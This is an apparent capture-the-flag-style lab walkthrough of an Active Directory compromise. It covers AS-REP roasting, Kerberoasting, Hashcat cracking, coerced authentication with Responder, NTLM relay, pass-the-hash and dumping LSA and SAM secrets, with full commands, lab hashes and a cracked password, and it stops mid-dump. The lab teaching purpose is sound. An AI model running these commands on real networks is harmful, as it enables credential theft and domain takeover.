> For the complete documentation index, see [llms.txt](https://notes.cavementech.com/pentesting-quick-reference/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.cavementech.com/pentesting-quick-reference/active-directory-pentesting/ad-machines-walkthroughs/hacksmarter-triathlon.md).
# Hacksmarter - Triathlon
## Objective / Scope
The 2025 U.S. Elite Triathlon National Team has requested a penetration test on its internal network. They have granted access to their network via VPN, but no other information has been provided. Successful testers should prove full compromise by providing the NTLM hash for the "krbtgt" account.
Treat this like a real engagement, keeping in mind that **only** the lab environment assets are in scope for active testing.
#### Note
Be sure to add the hostnames/IPs to your `/etc/hosts` file before you begin.
## Enumeration
### Overview
* **Engagement:** Penetration test of the 2025 US Elite Triathlon National Team's internal network.
* **Goal:** Full compromise (obtain the NTLM hash for the `KRBTGT` account).
* **Scope:** Lab environment assets only (Bike Server, Run Server, Swim Server).
***
### Initial Scans
#### Bike
```
┌──(kali㉿kali)-[~/Desktop/triathlon]
└─$ sudo nmap -A 10.1.89.228 -oN bike.nmap -T4
[sudo] password for kali:
Starting Nmap 7.95 ( https://nmap.org ) at 2026-08-09 10:47 EDT
Nmap scan report for 10.1.89.228
Host is up (0.23s latency).
Not shown: 995 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
| http-methods:
|_ Potentially risky methods: TRACE
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
3389/tcp open ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
| Target_Name: TRI
| NetBIOS_Domain_Name: TRI
| NetBIOS_Computer_Name: BIKE-SRV
| DNS_Domain_Name: tri.lab
| DNS_Computer_Name: BIKE-SRV.tri.lab
| DNS_Tree_Name: tri.lab
| Product_Version: 10.0.20348
|_ System_Time: 2026-08-09T14:47:57+00:00
|_ssl-date: 2026-08-09T14:48:36+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=BIKE-SRV.tri.lab
| Not valid before: 2026-08-08T14:46:04
|_Not valid after: 2027-02-07T14:46:04
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
No OS matches for host
Network Distance: 3 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb2-time:
| date: 2026-08-09T14:47:58
|_ start_date: N/A
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 226.98 ms 10.200.0.1
2 ...
3 228.71 ms 10.1.89.228
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 88.19 seconds
```
#### Run (Domain Controller)
```
──(kali㉿kali)-[~/Desktop/triathlon]
└─$ sudo nmap -A 10.1.224.202 -oN run.nmap -T4
[sudo] password for kali:
Starting Nmap 7.95 ( https://nmap.org ) at 2026-08-09 10:47 EDT
Nmap scan report for 10.1.224.202
Host is up (0.23s latency).
Not shown: 987 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-08-09 14:47:55Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: tri.lab0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=RUN-SRV.tri.lab
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:, DNS:RUN-SRV.tri.lab
| Not valid before: 2025-10-03T22:41:24
|_Not valid after: 2026-10-03T22:41:24
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: tri.lab0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=RUN-SRV.tri.lab
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:, DNS:RUN-SRV.tri.lab
| Not valid before: 2025-10-03T22:41:24
|_Not valid after: 2026-10-03T22:41:24
|_ssl-date: TLS randomness does not represent time
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: tri.lab0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=RUN-SRV.tri.lab
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:, DNS:RUN-SRV.tri.lab
| Not valid before: 2025-10-03T22:41:24
|_Not valid after: 2026-10-03T22:41:24
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: tri.lab0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=RUN-SRV.tri.lab
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:, DNS:RUN-SRV.tri.lab
| Not valid before: 2025-10-03T22:41:24
|_Not valid after: 2026-10-03T22:41:24
|_ssl-date: TLS randomness does not represent time
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=RUN-SRV.tri.lab
| Not valid before: 2026-08-08T14:46:07
|_Not valid after: 2027-02-07T14:46:07
|_ssl-date: 2026-08-09T14:49:26+00:00; -1s from scanner time.
| rdp-ntlm-info:
| Target_Name: TRI
| NetBIOS_Domain_Name: TRI
| NetBIOS_Computer_Name: RUN-SRV
| DNS_Domain_Name: tri.lab
| DNS_Computer_Name: RUN-SRV.tri.lab
| Product_Version: 10.0.20348
|_ System_Time: 2026-08-09T14:48:47+00:00
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
No OS matches for host
Network Distance: 3 hops
Service Info: Host: RUN-SRV; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: mean: -1s, deviation: 0s, median: -1s
| smb2-time:
| date: 2026-08-09T14:48:50
|_ start_date: N/A
TRACEROUTE (using port 139/tcp)
HOP RTT ADDRESS
1 229.91 ms 10.200.0.1
2 ...
3 231.60 ms 10.1.224.202
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 115.11 seconds
```
#### Swim
```
──(kali㉿kali)-[~/Desktop/triathlon]
└─$ sudo nmap -A 10.1.108.180 -Pn -oN swim.nmap -T4
Starting Nmap 7.95 ( https://nmap.org ) at 2026-08-09 10:52 EDT
Nmap scan report for 10.1.108.180
Host is up (0.23s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
445/tcp open microsoft-ds?
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=SWIM-SRV.tri.lab
| Not valid before: 2026-08-08T14:46:12
|_Not valid after: 2027-02-07T14:46:12
|_ssl-date: 2026-08-09T14:53:58+00:00; 0s from scanner time.
| rdp-ntlm-info:
| Target_Name: TRI
| NetBIOS_Domain_Name: TRI
| NetBIOS_Computer_Name: SWIM-SRV
| DNS_Domain_Name: tri.lab
| DNS_Computer_Name: SWIM-SRV.tri.lab
| DNS_Tree_Name: tri.lab
| Product_Version: 10.0.20348
|_ System_Time: 2026-08-09T14:53:19+00:00
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
No OS matches for host
Network Distance: 3 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb2-time:
| date: 2026-08-09T14:53:23
|_ start_date: N/A
TRACEROUTE (using port 3389/tcp)
HOP RTT ADDRESS
1 227.84 ms 10.200.0.1
2 ...
3 229.35 ms 10.1.108.180
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 82.65 seconds
```
### Initial Setup & Enumeration
#### 1. File Configuration
Created a `hosts.txt` file to store the IP addresses of the three servers for easy scanning.
```bash
nano hosts.txt
# Inserted the three target IP addresses
10.1.89.228
10.1.224.202
10.1.108.180
```
#### 2. Identifying the Domain Controller (DC)
Scanned the target IPs specifically for **Port 88 (Kerberos)**, which is the hallmark of an Active Directory Domain Controller.
```bash
nmap -p 88 -Pn -iL hosts.txt -v
```
**Result:** Port 88 was found OPEN on the **Run Server**, identifying it as the Domain Controller.
#### 3. Identifying the Domain Name
Scanned the Domain Controller for **Port 3389 (RDP)** to extract the domain name and hostname from the RDP SSL certificate.
```bash
nmap -p 3389 10.1.224.202 -A -Pn -v
```
**Result:**
* **Domain:** `tri.lab`
* **Hostname:** `RUN-SRV`
#### 4. Updating `/etc/hosts`
Configured the local DNS resolution to properly route traffic to the lab environment.
Bash
```
nano /etc/hosts
```
Plaintext
```
# Triathlon
10.1.224.202 run-srv.tri.lab tri.lab
10.1.89.228 bike-srv.tri.lab
10.1.108.180 swim-srv.tri.lab
```
### Active Directory Username Enumeration
#### 1. Intelligence Gathering (OSINT)
Based on a hint regarding the "2025 US Elite Triathlon National Team," an OSINT search was conducted to compile a list of the team members' first and last names.
```bash
nano names.txt
Morgan Pearson
Gwen Jorgensen
Taylor Knibb
Taylor Spivey
Summer Rappaport
Seth Rider
Kirsten Kasper
John Reed
Gina Sereno
```
#### 2. Generating Potential Usernames
Used a Python script (`username-generator.py`) to generate common Active Directory username formats (e.g., `flast`, `first.last`, `f.last`) from the list of names.
{% embed url="" %}
```bash
python3 usernamer.py -f ../names.txt > potential_usernames.txt
```
#### 3. Validating Usernames (Kerbrute)
Utilized **Kerbrute** to perform Kerberos pre-authentication username enumeration (`userenum`) against the Domain Controller to validate which generated usernames actually exist in the Active Directory environment.
```bash
kerbrute userenum -d 'tri.lab' --dc 'RUN-SRV.tri.lab' usernames.txt
```
#### 4. Results
Three valid Active Directory users were identified:
```
m.pearson
t.spivey
j.reed
```
## Initial Access to AD
### The Attack Path Methodology
When dealing with a list of valid Active Directory usernames but no passwords, the Orange Cyberdefense AD Mind Map provides a structured approach. The primary goals are to:
1. **Retrieve Password Policy (If Possible):** Determine the lockout threshold before attempting password spraying.
2. **AS-REP Roasting:** Exploit accounts that do not require Kerberos pre-authentication.
3. **Kerberoasting:** Request service tickets for Service Principal Names (SPNs) and attempt to crack them offline.
***
### Step 1: Attempting Null/Guest Authentication
Before attempting noisy attacks like password spraying, it is crucial to check for anonymous (null) or guest access to retrieve the password policy.
```bash
# Attempting Null Session
netexec smb run-srv.tri.lab -u '' -p '' --pass-pol
# Attempting Guest Account
netexec smb run-srv.tri.lab -u 'guest' -p '' --pass-pol
```
**Result:** Both Null and Guest authentication failed. Proceeding to more targeted attacks.
### Step 2: AS-REP Roasting
AS-REP Roasting targets accounts with the `DONT_REQ_PREAUTH` attribute set. If successful, the Domain Controller returns an AS-REP message encrypted with the user's password hash, which can be cracked offline.
```bash
# AS-REP Roasting using NetExec and a list of valid users
netexec ldap run-srv.tri.lab -u valid_users.txt -p '' --asreproast asrep_output.txt
```
```
┌──(kali㉿kali)-[~/Desktop/triathlon]
└─$ netexec ldap run-srv.tri.lab -u valid_users.txt -p '' --asreproast asrep_output.txt
LDAP 10.1.224.202 389 RUN-SRV [*] Windows Server 2022 Build 20348 (name:RUN-SRV) (domain:tri.lab)
LDAP 10.1.224.202 389 RUN-SRV $krb5asrep$23$t.spivey@TRI.LAB:c3b679b2e94ac1be113f2f79153ded27$8da808f26b40506968b77d7eabdc43a567f730b8e64e3650c15af29dc414a1dc905364c11bc5bc8cc4374a6e5a334cddc49d8cd97f7f597cc6520584b4826bfe17a99fbe7ac7b5217ef792e595256e8b8d5dc61fff4be14ac2f0f4072bf86d1d18c918104d050a5367f86db38686368720a0bd26e433bd7dfe9de23dec4feb7a0f7ea12f0bb36baa54071585a1b0ab6ca819bf24328be52d2e1d547436d30f71e01d79dce7cb23efbb056dad82ff9c39bfa4ca860f8df1e5bb70cb48a555f55d0fa6077dbdd3d98afb2f6aff92722aca8a84be269226df5be8cd6be8dbc4a0400e69
```
**Result:** Successfully obtained an AS-REP hash for the user `t.spivey`.
```
$krb5asrep$23$t.spivey@TRI.LAB:c3b679b2e94ac1be113f2f79153ded27$8da808f26b40506968b77d7eabdc43a567f730b8e64e3650c15af29dc414a1dc905364c11bc5bc8cc4374a6e5a334cddc49d8cd97f7f597cc6520584b4826bfe17a99fbe7ac7b5217ef792e595256e8b8d5dc61fff4be14ac2f0f4072bf86d1d18c918104d050a5367f86db38686368720a0bd26e433bd7dfe9de23dec4feb7a0f7ea12f0bb36baa54071585a1b0ab6ca819bf24328be52d2e1d547436d30f71e01d79dce7cb23efbb056dad82ff9c39bfa4ca860f8df1e5bb70cb48a555f55d0fa6077dbdd3d98afb2f6aff92722aca8a84be269226df5be8cd6be8dbc4a0400e69
```
**Cracking Attempt:**
```bash
# Attempting to crack the AS-REP hash using Hashcat (Mode 18200)
hashcat -m 18200 asrep_output.txt /usr/share/wordlists/rockyou.txt
```
**Result:** Exhausted `rockyou.txt` without cracking the hash.
```
john asrep_output.txt -w=/usr/share/wordlists/rockyou.txt
```
#### Step 3: Targeted (Blind) Kerberoasting
Normally, Kerberoasting requires a valid domain credential to request Service Tickets (TGS) for accounts with SPNs. However, since we obtained an AS-REP hash for `tspivey` (even though uncracked), we can use that account's context to perform a "blind" Kerberoast attack against the domain.
```bash
# Blind Kerberoasting via the AS-REP roastable user
impacket-GetUserSPNs -no-preauth t.spivey -usersfile valid_users.txt -dc-host run-srv.tri.lab tri.lab/t.spivey
```
*(Alternatively, using NetExec syntax as shown in the video)*:
```bash
netexec ldap run-srv.tri.lab -u tspivey -p '' --kerberoasting kerberoast_hashes.txt
```
**Result:** Successfully obtained a Kerberos Ticket Granting Service (TGS) hash for the user `j.reed`.
```
$krb5tgs$23$*j.reed$TRI.LAB$j.reed*$76887c93248723732f4057949d2d09e7$51320ee08c7a91ba74c42941f3ec7438c8872394691e5f8e5e1f9670932fad5d35e1cee96906769d5bea69ab0b908b3616123e1f8598a441a62aee100f73d807ca8f10c4cee92811654c6aafb9d04166abdd2a723d0feb629b0f48dd3f6a8c489713c55844216425567cd61f5f30cda3f0895aef53f29d20664deaefd4dc67ab2f5cc2c650849c43ee645ee07685b101dd09e0fd443fb1018c0520fc3aca5ce5094e6a4d3c611d0d35628a97418d0b1bf23283ebdecec677410f368f1dce87118c6f1af9e5769aa6e20d87b3151ffe1367b657a45f4f6af6c9e131f3b506aa8fa01fb4283ccceac044ed441d95db047b97f1411f1df93dcce24ffde02f15c637814c0e2a866b535a7af0feabd606d7ffbfef30eac9bccd3871057dc933990355cc31ecf1ba6cad30ce841e0bdc8e3d880bf78d31aa3e8ed50a4af5e0ae32b164b4cda5bf1e90b8f155332b4ccda3be824da7ed31103c3477fd0372a8418a838753be07706709dd9769754f2c7b3f5873f5bbe859c628593f01e603070d1edf12a6512d52e646194b566001c383052dfaaac67b7a33bea146a768ad5fcac9c8dde7d8251a1d8d18725cccef875b8ef4d4d856a7686ff1f746b1c5845cf5faed1a788161a2c7b58013e358b3c06200a2f24f7ab2e5ad0dcdd9433b8427764b247e07891374c8776e27b58a5d9dca2d962f5b24c49fe0ccbaea5fcd2aa732a385897ff36079437f7f304214060b77fc0ec6174a6ebfd072b576229b0f40cce7c3a8809a0cd48ae7d8b3ffe91d7400818ab2cae63369542b5b2005ff90b78a8bd9c53332526644237f8a6e30e9f979dce21c9699bf03221737d4bcae6cafbb7093d61c1035cf3dcaf37c171679c2906c42da7a51f29407ff2a4d4354251eaf04cf11f5c592f72073d0a74307f169f4892289362f4bffc1bd4e447b150d3c13f340c8183013b39ab5d3cf0fc9c55440f2b38346c39529332eba57364d9b7a2f6e03d51af8a954a6e7bf76aa983daa53ac1a3304f5743d63b2cf06825ef6ec847418fd2651a6b4ae2031213e2c60b874a73978034b44e9bb7b16d6f55690b743537bddf8279dd1cc71747e2a4973e241e37331d0d924aa04850eec73c92645f72e4d177d0195569593b750ef6c45abe08548eb282a7c53644c769eb7e1a82db8a058dd03de12d480fe3153e9d8ccd3bf1a68c17aa31b5c379ffa1d3390a76a59a2b2daa26c299d1a73859c11d1e1ab9ace5126863179c631eecd6aacd5abcd9ecfc6d5bf3584c20b49077045000a2ad3b5f2e47c72fae39f4f2f3025b690b1925b9a58e342b14e0a4115a6a2b1cc6083adcd223020b625a263bbf887ca7b1a6f92377a4dc046c6515fa869dba05db4f94b2cf05abcb97f9eaa0aa8
```
### Step 4: Advanced Hash Cracking (Rule Mangling)
A standard dictionary attack against the `jreed` Kerberos hash failed. To increase the effectiveness of the dictionary, Hashcat "Rules" were introduced to mutate the passwords in `rockyou.txt` (e.g., adding numbers, special characters, changing casing).
```bash
# Cracking the Kerberos TGS hash (Mode 13100) using the Best66 rule
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best66.rule
```
**Result:** The hash was successfully cracked.
* **Compromised Account:** `j.reed`
* **Password:** `Utah123`
#### Step 5: Post-Compromise Validation & Share Enumeration
With valid domain credentials, the next step is to validate access across all hosts in the environment and enumerate available SMB shares.
```bash
# Validating credentials and enumerating SMB shares across all hosts
netexec smb hosts.txt -u j.reed -p 'Utah123' --shares
```
#### Key Findings & Next Steps
1. **SMB Signing Configuration:**
* `swim-srv.tri.lab` (10.1.33.228): SMB Signing is **False** (Not Required).
* `bike-srv.tri.lab` (10.1.33.226): SMB Signing is **False** (Not Required).
* *Implication: These servers are vulnerable to SMB Relay attacks.*
2. **SMB Share Access:**
* The user `j.reed` has **READ/WRITE** access to the `transition-zone` share on the `swim-srv`.
3. **Next Objective:** Utilize the compromised `j.reed` account to collect BloodHound data and map the Active Directory attack paths.
## BloodHound Enumeration & Exploitation
### 1. Key Terms & Concepts
* **SMB Signing:** A security mechanism in Active Directory that digitally signs SMB packets to confirm the sender's identity and prevent tampering. When SMB Signing is **Disabled/Not Required** (`signing:False`), the server is vulnerable to **SMB Relay Attacks**.
* **Coerced Authentication:** An attack technique where an attacker forces a user or service account to authenticate to an attacker-controlled machine. In this lab, this is achieved by placing malicious files (like `.url`, `.scf`, or `.lnk` files) into a readable/writable network share. When a user browses the share, their machine automatically attempts to authenticate to the attacker's machine to load the file's icon or path.
* **Python Virtual Environments (`venv`):** An isolated Python environment. Used heavily in offensive security to prevent dependency conflicts ("dependency hell") between different Python-based hacking tools (e.g., Impacket, Hashgra, BloodHound-Python).
* **SMB Relay Attack (Upcoming Strategy):** Taking intercepted authentication traffic (NTLM hashes) and forwarding it to another machine (where SMB signing is disabled) to authenticate as the victim user, rather than trying to crack the hash offline.
### 2. Tools Used
* **Hashgrab (by XCT):** A specialized tool used to generate malicious files (.url, .scf, .rtf, etc.) designed to coerce NTLM authentication when viewed in a Windows network share.
* **Responder:** A LLMNR, NBT-NS and MDNS poisoner. It listens on the network (or VPN interface) to capture NTLMv1/v2 hashes when victim machines attempt to authenticate to the attacker's IP.
* **smbclient:** A command-line tool used to interact with SMB shares (similar to FTP).
* **Hashcat:** The industry standard for advanced password recovery and hash cracking.
### 3. Methodology & Execution
#### Step 1: Tool Setup (Hashgrab & Python venv)
To prevent breaking existing Python tools on the Kali VM, `Hashgra` is installed and run inside a Python virtual environment.
```bash
# Clone the repository
git clone https://github.com/xct/hashgrab.git
cd hashgrab
# Create a Python virtual environment named 'myenv'
python3 -m venv myenv
# Activate the virtual environment
source myenv/bin/activate
# Install the required dependencies safely inside the venv
pip3 install -r requirements.txt
```
#### Step 2: Payload Generation
Run Hashgrab to generate the malicious files, pointing them back to the attacker's VPN IP.
```bash
# Generate the malicious share files
python3 hashgrab.py hacksmarter
```
#### Step 3: Setting Up the Listener (Responder)
Start Responder on the VPN interface (`tun0`) to listen for incoming authentication requests triggered by the malicious files.
```bash
# Start Responder on the tun0 interface
sudo responder -I tun0
```
#### Step 4: Uploading Payloads to the Writable Share
Using the credentials compromised in Part 2 (`j.reed:Utah123`), connect to the `TransitionZone$` share on the `swim-server` and upload the malicious files.
```bash
# Connect to the target SMB share using smbclient
# Note: Escape special characters or avoid single quotes if syntax errors occur.
smbclient \\\\SWIM-SRV.tri.lab\\TransitionZone$ -U 'tri.lab/j.reed'
# Once connected (smb: \>), upload the generated files one by one (or using mput)
put hacksmarter.url
put hacksmarter.scf
# (Upload the rest of the generated files)
```
#### Step 5: Hash Capture & Cracking Attempt
After the files are uploaded, a simulated user (`e.ackerlund`) browses the share, triggering authentication to the attacker machine. Responder successfully captures the NetNTLMv2 hash.
```
e.ackerlund::TRI:2d25221bad81dfa9:042FF2548BB6A9CA8F6F20DBCDB150D7:0101000000000000005AD517B628DD014D7F6B2FBBCF98C900000000020008005900370046004C0001001E00570049004E002D004900480050004300480031003200380039003100320004003400570049004E002D00490048005000430048003100320038003900310032002E005900370046004C002E004C004F00430041004C00030014005900370046004C002E004C004F00430041004C00050014005900370046004C002E004C004F00430041004C0007000800005AD517B628DD0106000400020000000800300030000000000000000000000000200000220ED8FB2FDE8345563BA14D1A6653AF4E3CE4B25AB6818DF35057130012F1B40A001000000000000000000000000000000000000900240063006900660073002F00310030002E003200300030002E00370039002E003100310036000000000000000000
```
An attempt is made to crack the hash offline using a host machine with a dedicated GPU (for speed) rather than the Kali VM.
```bash
# Example Hashcat command to crack the captured NetNTLMv2 hash (Mode 5600)
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt
```
**Result:** The dictionary attack against `rockyou.txt` failed to crack the hash.
```
john hash.txt -w=/usr/share/wordlists/rockyou.txt
```
#### Step 6: Pivot Strategy
Since the hash could not be cracked, and it is known that the `swim-srv` and `bike-srv` have SMB Signing set to **False**, the next objective is to perform an **SMB Relay Attack** using the captured authentication traffic.
## SMB Relaying
#### The SMB Relay Attack Methodology
In Part 3, we obtained a NetNTLMv2 hash for the user `e.ackerland` via a coerced authentication attack but failed to crack it.
When cracking fails, the next logical step is to attempt to **relay** the authentication session.
**Requirements for SMB Relaying:**
1. You must have captured an incoming authentication request (NetNTLMv1/v2).
2. The target machine you are relaying the hash to must have **SMB Signing Disabled/Not Required**.
3. The user whose hash you captured must have administrative privileges on the target machine you are relaying to.
***
### Step 1: Identifying Relay Targets
Using `netexec`, we previously scanned the environment and identified hosts where SMB signing was not required.
```bash
# Generating a list of vulnerable targets (SMB Signing: False)
netexec smb hosts.txt --gen-relay-list smb_unsigned_ips.txt
```
**Result:** The file `smb_unsigned_ips.txt` contains the IPs for the `swim-srv` and `bike-srv`.
### Step 2: Executing the NTLM Relay Attack (Impacket)
We use `impacket-ntlmrelayx` to listen for the incoming coerced authentication from the `transition-zone` share and relay that authentication directly to our vulnerable targets.
By default, if `ntlmrelayx` successfully authenticates as an administrator on a relayed host, it will attempt to dump the local SAM database hashes.
```bash
# Execute ntlmrelayx targeting the vulnerable hosts
impacket-ntlmrelayx -smb2support -tf smb_unsigned_ips.txt
```
**Attack Flow & Results:**
1. A simulated user (`e.ackerlund`) interacts with the malicious `.scf`/`.url` files we uploaded to the `swim-server`'s `transition-zone` share.
2. The victim machine attempts to authenticate to our Kali attack machine.
3. `ntlmrelayx` intercepts this NetNTLMv2 challenge-response and forwards it to the `bike-srv`.
4. The relayed authentication is successful! `e.ackerlund` is a local administrator on the `bike-srv`.
5. `ntlmrelayx` automatically executes a DCSync-like operation against the local SAM database, dumping the local `Administrator` NTLM hash.
```
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:d7da45674bae3a0476c0f64b67121f7d:::
Administrator:500:aad3b435b51404eeaad3b435b51404ee:9a6434f863c1835d5f1baf39a544ad57:::
```
### Step 3: Pass-the-Hash (PtH) & Host Compromise
Now that we have the pure NTLM hash for the local `Administrator` account on the `bike-server`, we can authenticate directly to it without needing a password.
```bash
# Establish a remote session to the Bike Server using the dumped Administrator hash
evil-winrm -i bike-srv.tri.lab -u Administrator -H 9a6434f863c1835d5f1baf39a544ad57
```
**Result:** Successful authentication. We now have an `NT AUTHORITY\SYSTEM` equivalent shell on the **Bike Server**.
### Step 4: Post-Exploitation & Lateral Movement Checks
**1. Checking for Credential Reuse (Local Admin Password Spraying):** It is common for organizations to reuse the same local administrator password across multiple hosts. We test this using `netexec` with the `--local-auth` flag.
```bash
# Testing the local Administrator hash against all hosts in the lab
netexec smb hosts.txt -u Administrator -H 9a6434f863c1835d5f1baf39a544ad57 --local-auth
```
**Result:** The local Administrator hash only worked on the `bike-srv`. There is no credential reuse across the other servers.
**2. Local User Enumeration (Bike Server):** Investigating the `C:\Users` directory on the compromised host to identify potential lateral movement targets or domain context.
```powershell
# Inside the Evil-WinRM session
cd C:\Users
dir
```
**Findings:** Two interesting user directories exist:
1. `m.pearson` (One of the valid users identified earlier).
2. `Administrator.tri` (A strong indicator that a Domain Administrator has logged into this machine).
### Next Steps & Objective Check
* **Current State:** Full administrative compromise of the `bike-server`.
* **Missing Information:** We are operating blindly without a full map of the Active Directory environment.
* **Objective:** In the next phase, we need to run BloodHound (using the valid domain credentials for `j.reed` obtained earlier) to map out attack paths, identify the roles of `m.pearson`, and discover how to leverage the `Administrator.tri` artifacts left on the `bike-srv`.
## Bloodhound & Lateral Movement
### Overview
* **Objective:** Penetration test of the 2025 US Elite Triathlon National Team's internal network.
* **Goal:** Full compromise (obtain the NTLM hash for the `KRBTGT` account).
* **Scope:** Lab environment assets only (Bike Server, Run Server, Swim Server).
***
### Post-Exploitation Enumeration & Lateral Movement
#### 1. Active Directory Enumeration with BloodHound
With valid domain credentials obtained earlier (`j.reed:Utah123`), the next step is to map the Active Directory environment using BloodHound.
**Data Collection (RustHound)**
**RustHound** is a fast, compiled tool for collecting Active Directory data (including ADCS configurations), often bypassing traditional AV that might catch tools like `SharpHound`.
* Downloaded RustHound and placed it in `/usr/local/bin` for ease of execution from any directory.
* **Command Syntax:**
```bash
rusthound-ce -d tri.lab -u j.reed -p 'Utah123' -n 10.1.224.202 -o rusthound_output
```
*The output consists of several JSON files representing the AD environment's users, groups, computers, and ACLs.*
**Data Ingestion & Analysis**
* BloodHound Community Edition was launched using `bloodhound-cli install`.
* Previously stored database information was cleared to prevent confusion.
* The RustHound JSON files were uploaded via the BloodHound GUI.
* **Key Findings:**
* `Administrator` and `j.reed_adm` were identified as Domain Admins.
#### 2. Deep Dive Post-Exploitation (Bike Server)
After securing local Administrator privileges on the `bike-srv` (via NTLM relay and PtH in previous steps), further post-exploitation is conducted to find domain-level credentials cached on the machine.
**NetExec Protocol & Module Exploration**
* NetExec is highly versatile, offering built-in commands (like `--lsa`, `--sam`, `--ntds`) and modular extensions (`-M`) for post-exploitation.
* *Note:* `--ntds` is only applicable when targeting a Domain Controller, so it was skipped on the `bike-srv`.
**Dumping LSA Secrets**
The Local Security Authority (LSA) stores sensitive credentials, including cached domain logons.
* **Command Syntax:**
```bash
netexec smb bike-srv.tri.lab -u Administrator -H 9a6434f863c1835d5f1baf39a544ad57 --local-auth --lsa
```
**Results:** Successfully dumped LSA secrets, which revealed **DCC2 (Domain Cached Credentials v2) hashes** for two domain accounts that had previously logged into the server:
* `tri.lab\Administrator`
* `tri.lab\m.pearson`
```
┌──(kali㉿kali)-[~/Desktop/triathlon]
└─$ netexec smb bike-srv.tri.lab -u Administrator -H 9a6434f863c1835d5f1baf39a544ad57 --local-auth --lsa
SMB 10.1.89.228 445 BIKE-SRV [*] Windows Server 2022 Build 20348 x64 (name:BIKE-SRV) (domain:BIKE-SRV) (signing:False) (SMBv1:False)
SMB 10.1.89.228 445 BIKE-SRV [+] BIKE-SRV\Administrator:9a6434f863c1835d5f1baf39a544ad57 (Pwn3d!)
SMB 10.1.89.228 445 BIKE-SRV [+] Dumping LSA secrets
SMB 10.1.89.228 445 BIKE-SRV TRI.LAB/Administrator:$DCC2$10240#Administrator#9ba54f4ea00cab3cd7afc83b1a2ee62d: (2025-10-03 22:30:08)
SMB 10.1.89.228 445 BIKE-SRV TRI.LAB/m.pearson:$DCC2$10240#m.pearson#05b458fcb2ebb0869a4979097a6bedaa: (2025-10-06 05:25:20)
SMB 10.1.89.228 445 BIKE-SRV TRI\BIKE-SRV$:aes256-cts-hmac-sha1-96:3d78aeffc559ad2d870efa6d8dbd351fed71649f7d850cb8ef78f8ff6f07021f
SMB 10.1.89.228 445 BIKE-SRV TRI\BIKE-SRV$:aes128-cts-hmac-sha1-96:747a1dd746ce73f4c40ec45879a77bce
SMB 10.1.89.228 445 BIKE-SRV TRI\BIKE-SRV$:des-cbc-md5:f7ea8ad0f146c797
